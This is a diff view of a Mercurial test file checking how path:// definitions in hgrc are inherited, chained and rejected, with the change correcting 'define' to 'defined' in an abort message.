287 287 $ hg pull other_default
288 288 pulling from $TESTTMP/a
289 289 no changes found
290 290
291 291 test inheritance of the #fragment part
292 292 --------------------------------------
293 293
294 294 $ hg pull path_with_branch
295 295 pulling from $TESTTMP/branchy
296 296 adding changesets
297 297 adding manifests
298 298 adding file changes
299 299 added 6 changesets with 0 changes to 0 files
300 300 new changesets 1ea73414a91b:bcebb50b77de
301 301 (run 'hg update' to get a working copy)
302 302 $ hg pull other_branch
303 303 pulling from $TESTTMP/branchy
304 304 no changes found
305 305 $ hg pull other_branched
306 306 pulling from $TESTTMP/branchy
307 307 searching for changes
308 308 adding changesets
309 309 adding manifests
310 310 adding file changes
311 311 added 3 changesets with 0 changes to 0 files (+1 heads)
312 312 new changesets 66f7d451a68b:2dc09a01254d
313 313 (run 'hg heads' to see heads)
314 314
315 315 test inheritance of the suboptions
316 316 ----------------------------------
317 317
318 318 $ hg push pushdest
319 319 pushing to $TESTTMP/push-dest
320 320 searching for changes
321 321 adding changesets
322 322 adding manifests
323 323 adding file changes
324 324 added 4 changesets with 0 changes to 0 files
325 325 $ hg push pushdest2
326 326 pushing to $TESTTMP/push-dest
327 327 searching for changes
328 328 no changes found
329 329 [1]
330 330 $ hg push pushdest-overwrite --new-branch
331 331 pushing to $TESTTMP/push-dest
332 332 searching for changes
333 333 adding changesets
334 334 adding manifests
335 335 adding file changes
336 336 added 5 changesets with 0 changes to 0 files (+1 heads)
337 337
338 338 Test chaining path:// definition
339 339 --------------------------------
340 340
341 341 This is currently unsupported, but feel free to implement the necessary
342 342 dependency detection.
343 343
344 344 $ cat << EOF >> .hg/hgrc
345 345 > chain_path=path://other_default
346 346 > EOF
347 347
348 348 $ hg id
349 349 000000000000
350 350 $ hg path
351 abort: cannot use `path://other_default`, "other_default" is also define as a `path://`
351 abort: cannot use `path://other_default`, "other_default" is also defined as a `path://`
352 352 [255]
353 353 $ hg pull chain_path
354 abort: cannot use `path://other_default`, "other_default" is also define as a `path://`
354 abort: cannot use `path://other_default`, "other_default" is also defined as a `path://`
355 355 [255]
356 356
357 357 Doing an actual circle should always be an issue
358 358
359 359 $ cat << EOF >> .hg/hgrc
360 360 > rock=path://cissors
361 361 > cissors=path://paper
362 362 > paper=://rock
363 363 > EOF
364 364
365 365 $ hg id
366 366 000000000000
367 367 $ hg path
368 abort: cannot use `path://other_default`, "other_default" is also define as a `path://`
368 abort: cannot use `path://other_default`, "other_default" is also defined as a `path://`
369 369 [255]
370 370 $ hg pull chain_path
371 abort: cannot use `path://other_default`, "other_default" is also define as a `path://`
371 abort: cannot use `path://other_default`, "other_default" is also defined as a `path://`
372 372 [255]
373 373
374 374 Test basic error cases
375 375 ----------------------
376 376
377 377 $ cat << EOF > .hg/hgrc
378 378 > [paths]
379 379 > error-missing=path://unknown
380 380 > EOF
381 381 $ hg path
382 382 abort: cannot use `path://unknown`, "unknown" is not a known path
383 383 [255]
384 384 $ hg pull error-missing
385 385 abort: cannot use `path://unknown`, "unknown" is not a known path
386 386 [255]
387 387
General Comments 0
You need to be logged in to leave comments. Login now